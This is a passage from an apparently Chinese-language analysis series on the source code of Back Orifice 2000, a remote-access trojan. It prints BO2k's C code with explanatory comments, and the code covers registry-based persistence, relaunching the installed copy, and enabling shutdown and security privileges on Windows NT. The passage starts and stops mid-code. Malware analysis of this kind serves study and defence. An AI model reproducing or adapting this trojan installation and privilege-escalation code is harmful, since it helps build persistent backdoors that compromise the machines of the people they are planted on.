|
BO2k源码分析(二)----命令循环机制(4) { RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName, lstrlen(svTargetName)); RegCloseKey(key); } } // And now run the copy, //注意,以自身全路径名为参数启动BO拷贝版 STARTUPINFO si; PROCESS_INFORMATION pi; char svComLine[2048]; lstrcpyn(svComLine,svTargetName,2048); lstrcpyn(svComLine+lstrlen(svComLine)," ",2048-lstrlen(svComLine)); lstrcpyn(svComLine+lstrlen(svComLine),svFileName,2048-lstrlen(svComLine)); memset(&si,0,sizeof(STARTUPINFO)); si.cb=sizeof(STARTUPINFO); si.dwFlags=STARTF_FORCEOFFFEEDBACK; CreateProcess(NULL,svComLine,NULL,NULL,0,0,NULL,NULL,&si,&pi); } else //已安装BO...,除第一次运行BO外,都是这种情况。 { // Enable permissions on Windows NT if(g_bIsWinNT) { HANDLE tok; //调整权限,否则无重起机器权限 if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&tok)) { LUID luid; TOKEN_PRIVILEGES tp; LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid); tp.PrivilegeCount=1; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid=luid; AdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL); LookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid); tp.PrivilegeCount=1; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid=luid; AdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);
|